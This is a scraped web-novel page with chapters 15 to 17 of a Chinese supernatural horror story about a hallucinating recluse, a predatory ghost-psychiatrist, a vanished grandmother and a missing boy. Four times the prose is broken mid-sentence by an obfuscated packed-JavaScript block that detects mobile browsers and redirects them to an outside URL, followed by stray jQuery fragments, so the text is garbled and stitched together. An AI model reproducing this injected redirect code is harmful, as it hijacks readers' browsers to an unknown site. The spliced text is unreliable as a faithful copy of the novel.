;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445438|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的社交方式对宴泠昭来说堪称灾难。
否则他也不能是社恐。
默了默,宴泠昭开口问道:“他......有找你麻烦吗?”
这个他自然指的是女人的丈夫。
女人摇了摇头,轻声道:“没有,他再也不会烦我了。”
宴泠昭闻言,把这话理解成两人已经离婚,男人难得当个人,没纠缠女人。
于是,他由衷的对女人说道:“那挺好的。”然后顿了顿,又道:“以后要是遇到什么麻烦事儿,可以跟我说,邻里邻居的,互相帮衬也是应该的。”
女人垂下眼眸,低低“嗯”了一声。
宴泠昭:“那我吃完后把餐具洗干净再给你送回来。”
女人点了点头。之后两人各回各家。
随着房门缓缓关上,女人脸上的笑容瞬间消失得无影无踪,取而代之的是一片阴气森森。
——田燕婉很郁闷。
她根本没想给宴泠昭做饭,但宴泠昭想了(有这个想法),她就无法拒绝。
其实上次红裙子也是这样。
故,那句“遵从他的意愿”,完全是委婉的说法。
跟能拒绝似的。
***
7月7日,周三,上午九点
宴泠昭动身前往医院。
刚走到下一层楼梯的转角处,恰好碰到楼下邻居李奶奶出门。
“小晏,你这是要出去呀?”李奶奶脸上带着和蔼的笑意,热情的打招呼道。
“嗯。”宴泠昭应了一声,出于礼貌,也问了句:“您这是......?”
李奶奶不知道想到了什么,脸上的笑容愈发灿烂,连眼角的皱纹都透着欢喜,兴致勃勃的道:“我去接孙子!他放暑假啦。他爸妈工作忙得很,开学前的这段时间就住我这儿咯。”
宴泠昭知道李奶奶的孙子,毕竟每年学校放长假的时候,李奶奶的孙子都会来李奶奶家住上一阵子。
说起来,王奶奶就住在李奶奶对面,两家的孙辈年龄差不多大。只不过王奶奶家的孙女王玲玲是走读生。李奶奶家的孙子李小虎则是住校生。
宴泠昭看着李奶奶脸上满是慈爱与期待的笑容,又想起李小虎活泼好动的性子,认真提醒道:“我记得小虎特别喜欢玩水,您可得多留意着点他,千万别让他跑到外面那些野水塘之类的地方,太危险了。”
15.第 15 章
“叩叩。”宴泠昭抬起手,轻轻敲了敲门。
屋内很快传出一道低沉醇厚的男声:“请进。”
宴泠昭按下门把手。
房间里,唯一的一张办公桌前坐着一个男人。男人看上去约莫四十岁左右,头发间掺杂着几缕灰白,眼角有几道细细的皱纹。五官比例很好,身材板正,看得出年轻的时候是个帅哥,老了也不遑多让,甚至还多了几分成熟的魅力。
宴泠昭礼貌的说明自己的来意:“请问是傅医生吗?我们之前约好的。”
男人点了一下头,显然已经知晓宴泠昭的身份,他伸出手,指了指对面的椅子,语气平和的道:“请坐。”
宴泠昭关上房门,走过去坐下。
傅医生放下手中的钢笔,在此之前,他一直低着头在专注地写着什么。抬起头,男人目光温和的看向宴泠昭,说道:“我听董睿提起过你,对你的情况大致有所了解......最近这几天,你的病症有再次发作过吗?”
宴泠昭摇了摇头,语气中带着一丝迟疑:“应该没有。”
——宴泠昭判断自己是否犯病,主要依据于他眼中所看到的人、物是否出现“变异”情况。这也是他平日不爱出门的原因之一。
在家里,他心里多少有底,知道哪些人会“变异”。外面就不一样了,外面的一切都是未知的。且,“变异”的不止是人,环境有时也会“变异”,只是这种情况相对较少。
综上所述,待在熟悉的环境对宴泠昭而言至关重要。
而上次从董医生那里回去后,除了昨天见过田燕婉,当时田燕婉的样子正常。别的时间他几乎都待在家里,没再见过“变异人”。所以宴泠昭才会迟疑。因为他只能确定至少昨天见田燕婉的那段时间自己是正常的。
宴泠昭不知道和自己相同病症的人犯病时是什么感觉,反正他犯病时身体没有哪里不舒服,是以无法靠身体感受来判断自己的状况。
傅医生闻言若有所思的沉吟了片刻,道:“方便我为你做一次催眠吗?请放心,整个过程我都会进行录音记录,房间里也有医院的监控设施。”
说着,像是为了安宴泠昭的心一般,男人抬头看向房间角落。
宴泠昭下意识顺着他的视线望去,果然看到那个方向的墙壁夹角顶端挂着一个监控器。红色的指示灯幽幽亮着,显示它正在正常工作。
略作思索后,宴泠昭点了点头,同意了。
老实说,他都习惯这一套“流程”了,他在上一个医生董医生那里没少接受催眠治疗。
傅医生调整了一下坐姿,目光柔和却暗藏深意的注视着宴泠昭,声音舒缓而富有节奏、仿佛带着一种蛊惑人心的魔力,道:“现在,请放松你的身体,闭上眼睛,深呼吸......慢慢的,让自己沉浸在一种宁静的状态中......”
宴泠昭依言闭上双眼,随着傅医生的引导,逐渐放松下来。
傅医生见状,不动声色的将自己的精神力释放出去,探入宴泠昭的意识领域。
起初一切顺利,傅医生的精神在宴泠昭的精神空间边缘徘徊,准备种下梦魇的种子。
然而,当他打算进一步深入时,一股莫名的寒意扑面而来。
接着,一座城市废墟的画面赫然展现在他眼前——天空被阴霾笼罩,铅灰色的云团沉甸甸地压在上空;微弱的光线挣扎着从云层缝隙漏下,斑斑点点的洒落在昏暗的地面。
残垣断壁散落四周,断裂的建筑材料裸露于风中,扭曲变形的钢筋如狰狞的怪兽爪子,从废墟里伸出。
曾经的繁华荡然无存,只剩下一片荒芜与凄凉。每一处破损的砖石、每一道开裂的缝隙背后,都在无声诉说着这座城市遭受的灭顶之灾。
而在这片废墟中央,盘踞着一个巨大到无法形容的怪物,那怪物的形态模糊不清,肢体扭曲蜿蜒,仿佛是由无数混乱的线条交织而成,不可名状、不可凝视。
傅医生心中顿时涌起一股强烈的恐惧,他立刻收回自己的精神力,想要逃离这个可怕的地方。
然而,就在他准备抽身离开之际,庞然大物似乎察觉到了外来者的存在,缓缓睁开了那双巨大的眼睛,瞬间就锁定住了傅医生。
傅医生只觉一股强大到无法抵抗的力量向他压来,他拼命挣扎,精神力疯狂涌动,却依旧难以挣脱。在极度的绝望和痛苦中,他发出一声凄厉的惨叫。
现实世界。
宴泠昭正处于放松的状态中,突然听到一声惨叫,条件反射睁开眼睛,只见傅医生面色惨白如纸,额头上满是豆大的汗珠,身体微微颤抖着。
宴泠昭愣了下,问道:“傅医生......?你这是?”
就在宴泠昭睁开眼的瞬间,被困在他精神世界中的傅医生像是从一场最深沉、最恐怖的噩梦中猛然惊醒。他的眼神中还残留着无尽的恐惧与慌乱,心脏在胸腔里疯狂跳动,仿佛要冲破胸膛。
他惊疑不定的看着宴泠昭,故作镇定的道:“没事,我就是突然有点不舒服。这样,今天就先到这里,我给你开几服药。”
......
目送宴泠昭的背影消失在门后,傅医生脸上的表情变得阴沉。
——傅医生并非人类,他是伪装成正常人混迹于人群中的诡异。
而他之所以选择当医生:其一,医院是个绝佳的狩猎场。在这里,他只需稍加言语诱导,那些病人就会对他深信不疑,极大的方便了他在他们的精神世界里种下梦魇的种子,待种子成熟之际,就是他收割的时候。
其二,医院本就是生死交替之地。在这里,有人离世再正常不过,不会引起他人的怀疑。
其三,对于人类来说,某些棘手甚至被判定为绝症的病症,在他看来并非无解难题。正因如此,他的名气才会如日中天,慕名而来的患者络绎不绝。
而随着名声的不断积累,主动送上门来成为他“盘中餐”的人越来越多。
每天,他都能轻松收获大量的恐惧能量,可以说是过的相当滋润了。尤其B市他倾注了大量的心血......本来,他是想驻扎B市的。
可惜了。
傅医生不舍的叹了口气,转头看向窗外,人们在阳光下忙碌地穿梭着,对隐藏在暗处的危险浑然不觉。
好在......他察觉到了。
——B市不能呆了,诡异是有领地意识的,越强大的诡异领地越大,像宴泠昭那种等级的诡异,占据一个城市都不奇怪。
***
一大一小两个身影走进小区大门。
李奶奶的肩膀上背着李小虎的书包,李小虎则兴奋地挥舞着手中的玩具车,在空中划出一道道想象中的轨迹,嘴里不时发出“呜呜呜......滴滴滴......”模拟汽车启动和行驶的声音。
当祖孙俩快要走到他们所住的单元楼楼下时,李小虎忽然扭头仰望着李奶奶,道:“奶奶,我可以去王玲玲家玩吗?她有好多拼图。”
李奶奶闻言脸色一变,含糊道:“王玲玲他们家搬走了。”
李小虎撅起嘴遗憾的“哦”了一声,追问:“他们搬去哪儿了?”
不知为何,李奶奶的语气突然变得有些生硬和不耐烦:“你问那么多做什么,他们搬去哪里跟你有什么关系,你管他们搬去哪了。”
李小虎吓了一跳,“奶奶你好凶!”
见孙子被自己吓到了,李奶奶脸上赶忙挤出一个和蔼的笑容,哄道:“哎哟,对不起嘛,是奶奶不好,奶奶跟你道歉。”
李小虎眼珠转了转,嚷嚷道:“老师说光说对不起没有用,这样吧,你带我去吃汉堡,我就原谅你。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456243|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“好好好,奶奶答应你。”向来宠孙子的李奶奶哪能不答应。
“现在就去!”李小虎迫不及待的催促道。
“咱们回去把书包放了就去。”李奶奶笑呵呵的道。
转天。
清晨的阳光透过窗帘缝隙,洒进卧室。
早上八点,宴泠昭睡得正熟,被楼下传来的小孩子尖利的声音吵醒。
“我都打残血了,你们倒是补刀啊!”稚嫩响亮的声音带着焦急和愤怒,在安静的小区里格外刺耳。
“会不会玩儿啊!”接着又是一声大喊。
宴泠昭睁开眼睛,伸手摸起放在枕边的手机,眯眼看了下时间,才睡了三个小时。
嗯,他最讨厌小学生放假了——每次李奶奶的孙子一来,整个小区就像炸开了锅一样,动静特别大。
宴泠昭拿起枕头,把自己的脑袋压在下面,试图以此来隔绝噪音。
下午一点,阳光正烈,李奶奶一家刚吃完午饭,空气中还残留着饭菜的香味,李奶奶感到一阵困意袭来。她年轻的时候就养成了睡午觉的习惯,这么多年过去,这个习惯延续到了今天。
“小虎,奶奶困了,要睡个午觉,你乖乖的,别乱跑啊。”李奶奶一边打着哈欠,一边叮嘱李小虎。
“奶奶奶奶,阳台上有只鸟!”李小虎兴奋的喊道。
困倦至极的李奶奶只是随口“嗯”了一声,眼皮都没抬一下,便沉沉的睡了过去。
李小虎的注意力完全被那只停在窗台上的麻雀吸引住了。他轻手轻脚地走过去,然后伸出小手猛地一抓,那只小鸟没来得及飞走,被他紧紧握在了手中。
小鸟在李小虎的手中拼命挣扎,嘴里不停发出惊恐的叫声,李小虎觉得有趣极了,咯咯地笑了起来。
玩了一会儿,李小虎发现小鸟渐渐不再发出叫声,他好奇的用另外一只手戳了戳,小鸟仍然一动不动。李小虎歪着头想了想,走到阳台上,松开手,把小鸟扔了出去。
然而,小鸟并没有展翅高飞,而是直直地摔落在地上。
李小虎趴在阳台上,探出脑袋去看,见小鸟静静地躺在地上一动不动,撇了撇嘴,嘀咕了一声“没意思”,便收回身体,转身又跑去玩平板了。
平板是李奶奶的,但李奶奶自己不玩,完全是拗不过孙子的软磨硬泡:李小虎信誓旦旦地说只要奶奶家有平板,他就会经常来奶奶家玩。
......
“啊!我死了!”楼下又传来李小虎激动的喊叫声。
宴泠昭本来睡得迷迷糊糊,这一嗓子又把他从半梦半醒的状态中拉了出来。
一整个上午都没睡好的宴泠昭终于放弃了继续睡觉的念头。
熬吧,就当调整作息了。
下午三点,阳光依旧刺眼。
李小虎玩腻了平板,对李奶奶说:“奶奶,我要去楼下玩。”
小区虽然是老小区,但也有健身器材和供小孩子玩耍的滑滑梯,就是这些设施都带着浓厚的年代感:油漆剥落、边角磨损......胜在质量很好,不妨碍使用。
李小虎兴高采烈地跑到滑滑梯那里,像一只欢快的小猴子爬上爬下,玩得不亦乐乎。
李奶奶则慢悠悠地走到旁边的椅子上坐下,手里拿着一把旧蒲扇,有一下没一下地扇着。
玩了几趟滑梯后,李小虎已经满头大汗。他气喘吁吁地小跑到奶奶面前,一脸期待的说:“奶奶,我想游泳,你带我去游泳吧!”
“不行,游泳太危险了。”李奶奶毫不犹豫的拒绝。
“不危险!我会游泳!”
李奶奶还是不同意:“不行就是不行,万一出了事怎么办。”
李小虎见奶奶铁了心不答应,小声嘟囔了一句“小气鬼”,心想:哼,你不带我去,我自己去。
16.第 16 章
金华区第四小学。
警察、老师以及心急如焚的家长齐聚于此。
前者正努力维持着现场秩序,试图安抚情绪激动的后者。
“您先冷静冷静,冲动解决不了任何问题。”
女老师满脸委屈与迷茫,眼眶泛红,声音带着一丝颤抖,急切的为自己辩解:“你们家孩子真的是孩子奶奶来接走的,我亲眼看到她的,确认无误后才把孩子交出去的。”
孩子的母亲此刻情绪激动到了极点,刚刚她就已经失控的朝着女老师狠狠扇了两巴掌,若不是警察及时阻拦,她恨不得将女老师撕个粉碎。
女人双眼通红,声嘶力竭的吼道:“孩子奶奶?你一口一个孩子奶奶,可我们家老太太都失踪好多年了,也从来没到学校接过孩子,你到底是从哪儿知道她的?难不成随便来个什么老女人,说自己是来接孩子的,你就轻易相信了?我告诉你,你这就是严重的不负责任!要是我们家孩子出了什么三长两短,我就算拼了这条命,也绝对不会放过你!”
相比之下,孩子的父亲相对冷静一些,可他紧蹙的眉头和一支接一支不停抽着的烟,还是暴露了他内心正在努力压抑的怒火与焦急。
女老师拼命解释:“失踪好多年了?从来没来过学校?这怎么可能?每次放假,不都是你们和孩子奶奶一起来学校接孩子的吗?”
“你撒谎!”孩子母亲尖叫一声,见无法直接碰到女老师,愤怒之下竟抬起脚朝女老师踹去。
女老师躲避不及,被狠狠踹了几脚,身体一晃,差点重重摔倒在地,好在旁边的警察眼疾手快,及时伸手扶了她一把。
警察理解孩子妈妈因为孩子失踪情绪激动,但动手打人就不对了。
“赖女士,打人是违反法律规定的,请您克制一下自己的情绪。”
孩子父亲深吸了一口气,强压着心头的烦闷,冲妻子大声吼道:“好了!别在这儿丢人现眼了!说来说去,要不是你那天去接孩子晚了那么久,孩子能失踪吗!”
女人听到这话,像是被定住了一般,身体瞬间僵住,随后转过头,不可置信的看向自己的丈夫,声音颤抖的说道:“你居然怪我......?你怎么能怪我?你平时从来不管孩子,我每天既要上班,又要忙着做饭,还要操心去接孩子。那天我明明说了我要加班,让你去接孩子,你倒好,非要参加那什么公司聚会,难道就不能请假吗?”
男人烦躁的皱起眉头,提高音量反驳道:“你怎么不请假?”
“我那是加班,是工作任务,又不是去玩!”女人气得浑身发抖。
“公司聚会也是工作的一种形式,同样重要!”男人不甘示弱的回怼。
眼见夫妻俩不顾场合就要激烈争吵起来,一旁的警察头疼不已,正准备开口劝解时,学校负责看管监控室的值班人员匆匆赶来,手里紧紧握着钥匙。
***
一行人前往监控室。
进入监控室后,大家迅速围在屏幕前,值班人员调出白天下午放学那段时间的监控录像。
画面中,可以看到每个班级的学生都整齐有序的排着队,队伍最前面的同学高高举着写有班级的牌子。而学校门口早已聚集了一群家长,随着校门打开,最前方的班级队伍率先走出校门。
失踪孩子所在的班级是4班,按照顺序,是第4个走出校门的队伍。
“这是我们小虎!”还没等警察开口说明,心急如焚的孩子妈妈一眼就认出了自家孩子,她激动的伸出手指,用力指着监控画面中的一个小男孩大声说道。
霎时,所有人的注意力都聚焦到了那个小孩身上。
只见视频里的小男孩直直地走出了校门口。女老师则站在队伍旁边,似乎正和什么人交谈着,不过奇怪的是,视频画面中根本看不到与之对话的那个人的身影。
孩子母亲见状,愤怒再次涌上心头,又想对女老师动手,早有防备的警察迅速将她牢牢控制住。
“赖女士!请您保持冷静!”警察大声喊道。
“我就知道是你这个贱人失职!光顾着和人聊天......”孩子母亲歇斯底里的说道。
女老师捂着红肿的脸颊,泪水在眼眶里打转,声音带着哭腔,说道:“我真的是在和孩子奶奶说话,我跟她说您来接小虎了,孩子奶奶对我笑了一下,回答我说“是的”。”
“——真的,你们一定要相信我,我没有撒谎。我不知道为什么视频里没有显示孩子奶奶的身影,但我当时真的是在和她说话!”
“你不要再狡辩了!都说了我们家老太太失踪很久了,早在小虎三岁的时候就失踪了,这么多年过去,至今都没有找到人!你编谎话也找个靠谱点的理由!”孩子母亲怒不可遏的说道。
警察们面面相觑,光看视频,确实是老师的问题。可看老师的行为举止,也不像是在说谎。
沉默片刻后,一位经验丰富的警察打破僵局:“先别着急,咱们再仔细看看。”
于是众人的目光又重新回到屏幕上。
反复查看几遍后,那位经验丰富的警察指着孩子刚好彻底离开监控覆盖范围的最后一帧视频,说道:“停,就是这里,你们看,孩子旁边是不是有个模糊的身影?”
负责学校监控室的工作人员闻言立即放大警察所指那片区域画面。
......确实有个影影绰绰的人形轮廓,身形也像是一位年老的女性。
唯一的问题是看不清楚。
整个监控画面中,就孩子身旁的那个身影模糊不清。
警察转过头,看向孩子的父母,问道:“你们看看,这个身影你们熟不熟悉?”
夫妻俩闻言,赶忙凑近屏幕,眼睛眯成了两条细缝,死死的盯着画面,仿佛要把那模糊的影像看穿。
过了好一会儿,丈夫率先开口,语气中带着一丝犹豫:“是我母亲。”
妻子原本也有几分同感,但因为怀疑孩子是遭人贩子拐走,心里已经有了这样先入为主的想法,于是否认道:“哪里像?要真的是我们家老太太,那她为什么不带着孩子回家?”
妻子这么一说,孩子父亲刚刚还确定的想法,此刻也变得摇摆不定。
女老师站在一旁,感觉自己有口难辩。内心的煎熬折磨着她,再加上孩子家长的质疑和指责,她再也承受不住,双手捂住脸,放声痛哭起来:“如果真的是我的错,那就把我关进监狱吧,给我判刑都行!但我确实没有说谎......”
那位经验丰富的警察猛然想到了什么,神情瞬间变得严肃起来,说道:“等等,之前好像听你说,每次放假,孩子奶奶都会和孩子父母一起来接孩子,是吗?”
女老师抹了抹眼泪,哽咽着回答:“是的。正因如此,我对孩子奶奶的样子有印象,所以看到她来,才会放心的把孩子交给她。要不然,我肯定会给孩子父母打个电话确认一下的。”
经验丰富的警察已经四十好几快五十了,他这一生,经历过形形色色的案件,见识过各种错综复杂的场面,其中有些案子,即便耗费了大量心力,至今也悬而未决,令人啧啧称奇。有的解决的方式则很......怪。
换句话说,并非封建迷信。
他是相信某些存在的。
思及此,他抬起头,看向女老师,说道:“你先跟我们回一趟警局吧。”
做出这个决定,一方面是考虑到家长情绪激动,防止老师遭到报复;另一方面,他有一个大胆的猜想,需要回到警局进一步“查证核实”。
***
特别档案资料管理处。
-1楼,监控室。
距离刀娘受伤已经过去整整一周了。
原本,他们摩拳擦掌,打算趁着刀娘受伤的契机乘胜追击,一举将其拿下。然而,自那之后,刀娘就如同人间蒸发了一般,踪迹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466448|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全无。
这段日子里,他们想尽了各种办法。为了能找到刀娘的蛛丝马迹,他们依照小说中的设定,仔细研究每一个可能与刀娘相关的情节线索,试图从中找到她可能出现的规律。同时,还密切监控着各个派出所的动态,只要有任何类似刀娘“作案手法”的案子出现,他们就能迅速反应,第一时间锁定目标。
可奇怪的是,刀娘仿佛真的从这个世界消失了,无论他们怎样努力,都寻觅不到她的半点踪影。
当然,也不能完全排除有受害者出现,只是由于种种原因,至今还没有人发现的可能。
一周啊......刀娘身上的伤势大概率已经愈合。虽心有不甘,也实在是无可奈何。
何初凌坐在办公桌前,突然冒出一句:“有没有一种可能,就跟红裙子、孤老那几个情况一样——它们被同类狩猎了。”
对面办公桌的钟茹雪正端起水杯喝水,听到这话,放下杯子,若有所思的说道:“不排除这个可能。不过,这才过去短短几天时间,还不好判断,再等等看吧。”
***
宴泠昭下楼扔垃圾,没想在楼道里迎面碰见了买菜回来的田燕婉。
这几天,田燕婉几乎天天都给他送饭。尽管他多次婉拒,但女人态度坚决,非要把饭留下,还强调自己也要吃,不过是顺便给他带一份。
他实在拗不过,无奈之下给了女人一笔钱,权当是支付伙食费了。
......田燕婉并非独自一人,身后跟着一个男人。田燕婉手上也没有拿任何东西,倒是男人拎了满满一手的袋子。
宴泠昭的目光不由自主重新落在女人脸上。
田燕婉之前不是说男人再也不会出现......不对,她说的是男人再也不会烦她了。
感受到宴泠昭无声的注视,田燕婉脸上浮现出温柔的笑容,轻声道:“他知道自己错了,打算用后半生给我赎罪。以后家里所有活儿都是他来干。”
宴泠昭无言以对:“你自己想好就好。”
双方侧身擦肩而过。
田燕婉和男人回到家中,一进门,田燕婉瞬间变了一个样子,语气冷冰冰的吩咐道:“土豆要切成头发丝那么细,豆腐也一样。”
威胁之意暗藏其中。
男人不知想到了什么,眼中浮现出极度恐惧的神情,身体颤抖,脸上的皮肤出现融化的迹象,竟是差点连人形都维持不住。
田燕婉见状,幽幽开口道:“你连这点压力都承受不住,还能指望你做什么......”
男人一听,赶忙努力稳住自己的身形,闷声道:“我受得住!受得住!”
女人阴森森的盯着他,目光仿佛要穿透他的灵魂,好半晌,才缓缓收回目光,冷笑道:“那就赶紧去洗菜切菜吧。”
男人诺诺的应了一声:“是。”
——田燕婉也没想到丈夫会“复活”。
据何老说,是因为她怨气太重,又把男人吞吃入腹,阴差阳错,导致男人变成了她身体的一部分。只要她不死,男人就不会消亡。
田燕婉本来恶心坏了,何老开导了她:“这不是挺好的吗?从今往后,你可以随心所欲的折磨他,你对他拥有绝对的掌控权,而他永远也逃不掉。小田啊,你知道世界上最残酷的刑罚是什么吗?可不是简单的让人去死,而是让人永生永世都活在无尽的痛苦之中啊。”
很有道理。
田燕婉勾起嘴角,眼神冰冷怨毒。
“你太吵了,安静一点。”
已经尽可能降低自己存在感把声音控制到最低的男人:“......”
两分钟后。
“啊!”
男人发出惨叫。
“叫你轻一点没听到?”
“我、我已经没有声音了!”
“谁说的?你吵到我眼睛了。”
男人绝望的呜咽了一声。
17.第 17 章
【傅医生:由于工作调动,我很快就会离开B市,估计之后也不会再回来。我给你介绍一位医生......】
宴泠昭读完手机微信界面上傅医生发来的消息,手指在屏幕键盘上敲击:【我的病还有治愈的可能吗?几率大概又有多少呢?】
消息发送出去后,对面陷入了长久的沉默。
宴泠昭等了会,见状,揣着手机慢慢向前走去,脚步不紧不慢,大约走了近百米,手机才发出响声,提示他有新的消息。
他重新拿起手机。
傅医生:【这个得看你自己】
宴泠昭了然,明白这是委婉的说法,自己的病恐怕治愈的概率不大。
说到底,和精神方面相关的病症,本来就没那么容易好,对此他早有心理准备。
思及此,宴泠昭垂下眼眸,拇指再次滑动,打出一行字:【不麻烦你介绍了。】
这次,傅医生回的很快:【不好意思】
宴泠昭回了句“没事”,便将手机放回衣服口袋。此时,他恰好走到一个马路口,信号灯显示为红色。
等待绿灯的间隙,宴泠昭的余光扫到旁边的电线杆上似乎贴着什么东西。他下意识转头看去,发现是一张寻人启事。
【姓名:李桂兰
性别:女
年龄:73
于 2054 年三月七日下午一时许在磬云路菜市场走失,身穿黑色外衣,短发......
如有老太太线索,请联系李国斌 136********】
宴泠昭快速浏览完下面的文字信息,接着又看了看上面的老人照片,总觉得有些眼熟,好像在哪里见过,但想不起来。
收回视线,红灯刚好跳转为绿灯。宴泠昭抬脚,走上马路。
......
“知了——知了——”蝉鸣阵阵,声声入耳,令人无端心生烦躁。
炽热的太阳高悬天空,毫不吝啬地释放热量,空气都被烤得扭曲变形。
宴泠昭很少出门,即便在天气宜人的时候。因而,更别提像今天这样酷热难耐的天气了。
他之所以出门,是因为今天是他学生时期的一个朋友的忌日。每年的这一天,他都会前往墓地看望那位朋友,在那位朋友的墓前放上几束鲜花,以寄托自己的哀思。
犹记得出事的那天,正值高考结束后的第二周。
朋友兴致勃勃的约他爬山,其实宴泠昭内心是不想去的,奈何拗不过朋友的热情邀请,不得不答应了下来。
两人一路攀登,终于到达山顶。站在山顶上,微风轻拂,朋友兴奋不已,拿着照相机四处拍照留念,想要记录生活美好瞬间。
宴泠昭则坐在山崖边的一块石头上休息,背对着朋友,低头玩手机。
朋友东拍拍西照照,距离宴泠昭越来越近。
宴泠昭这时发现自己的鞋带松开了,弯下腰去系鞋带。
就在这一瞬间,一声惨叫划破长空。
宴泠昭下意识直起身体,抬头张望,不见朋友的踪影。
......这天后,朋友变成了一张黑白照片。他的家人们悲痛不已,宴泠昭同样沉浸在伤心之中,感叹世事无常。
说起来,他今天看望朋友的时候,遇到了朋友的姐姐。
朋友姐姐看到他,脸上满是惊讶之色,“没想到还有人来看他。”
说着,朋友姐姐叹了口气,带着几分追忆的神情,说道:“我弟弟是个不省心的,以前调皮得我和妈妈爸爸都非常头疼。”
宴泠昭心想确实。印象里,朋友抽烟喝酒样样都来、每次开学染一头黄毛,非得老师揪着他,才会把头发染回来。
还喜欢欺负同学。
那为什么这样的一个人他会和他做朋友呢?
全靠入室抢劫一般的友情。
开玩笑的。其实是在他明确表示自己不喜欢抽烟喝酒欺负人的坏孩子后,朋友改变了自己,他才没再抵触的。但也仅限于此,最主要还是朋友死缠烂打。
不过这段友情也就只维持了一年。
宴泠昭看着墓碑上朋友的黑白照片,心里默念:希望你下辈子做个真正的好人吧。好人也许没有好报,但恶人多半有恶报,不然你也不能去那么早。
——时至今日,宴泠昭依然想不通朋友为什么会坠崖。明明根据朋友的站位,就算是他坠崖朋友也不会坠崖。
为此,宴泠昭还被警察调查了好一番:警察怀疑是不是他把朋友推下去的。
......这种小的不能再小的小概率事件都能发生,只能说是命了。
***
宴泠昭走到小区门口,看见一个小男孩风风火火地跑了出来。脑海中浮现出一丝印象,这孩子似乎是李奶奶的孙子?
没等宴泠昭细想,小男孩已经如一阵风般从他身旁飞速掠过。宴泠昭下意识伸手一把抓住他。
小男孩被这突如其来的动作扯得“哎呦”一声,由于惯性身体趔趄了一下,差点摔倒。
他满脸不高兴地仰头气瞪着宴泠昭,大声嚷嚷道:“你谁啊?干什么拉我!”
宴泠昭仔细端详着小男孩的脸,虽说小孩子长得快,但这个年龄段再快也不至于变得让人不认识。
确认了就是李奶奶的孙子,宴泠昭耐着性子问:“你怎么一个人?你奶奶知道你跑出来了吗?”
小男孩听到这话脸立即垮了下来,怼道:“你管我!”说完,还用力甩了甩被抓着的胳膊,试图挣脱宴泠昭的手。
可小孩子的力气哪能和大人相提并论,任凭小男孩如何挣扎,也无法挣脱宴泠昭的掌控。
面对这个调皮捣蛋的熊孩子,宴泠昭失去了耐心,干脆直接揪住小男孩的衣领,拎着他往回走。
小男孩这下真的慌了神,以为遇到了坏人,惊恐的大声呼喊起来:“有人贩子啊,救命啊!”
一边喊,一边扭头朝保安亭的方向望去。
然而,现实让他无比失望——保安亭里没有任何动静,没有保安闻声出来。
小男孩的心瞬间沉入了谷底,扯着嗓子嚎啕大哭起来。
不过随着宴泠昭提着他走进熟悉的单元楼,又来到那扇无比熟悉的门前,小男孩悟了,不慌了。
宴泠昭抬手敲门。
好一会儿,屋里才传来脚步声,接着门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473442|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打开。
李奶奶看到自家孙子被宴泠昭揪着,眼眶红红的,显然是刚刚哭过,心疼得不得了,赶忙焦急的询问:“这是咋回事?”
宴泠昭解释了一遍。
小男孩这会害怕的人变成了奶奶,但他清楚奶奶最疼他了,所以实际上也没那么害怕。
果然,奶奶只是佯装生气,扬起手作势要打他,实则高高举起的手只是在空中虚晃一下,终究是没舍得落下去。
趁着奶奶跟宴泠昭道谢没注意看他的空当,小男孩冲着宴泠昭做了个鬼脸,得意洋洋的宣告自己的胜利。
宴泠昭面无表情,只是淡淡的看了他一眼。
......
上楼回家途中,宴泠昭不自觉将李奶奶和不久前在电线杆上看到的那张寻人启事上的图片进行对比,这一比对,发现两者间竟有着极高的相似度。
且,都姓李。
还真是巧了。
也是他不知道李奶奶叫什么,只知道姓李。若是连名字都一模一样,那就更巧了。
***
李小虎知道奶奶有睡午觉的习惯,他就是利用这个习惯成功溜出的家门。可惜顺风顺水的计划被那个讨厌的大人给搅和了。不过,李小虎可没打算就此放弃。
只是自那以后,接连好些天,奶奶都对他看得格外紧。午睡的时候,也睡得极浅,只要李小虎发出一点动静,奶奶就会瞬间惊醒。
然而,人终究是上了年纪,精力大不如前。就这样过了好些天,这天中午,李小虎终于又一次成功偷溜出家门。
他一路小跑,来到小区门口。就在这时,他瞧见了一道熟悉的身影,顿时眼前一亮,脱口而出:“王玲玲?”
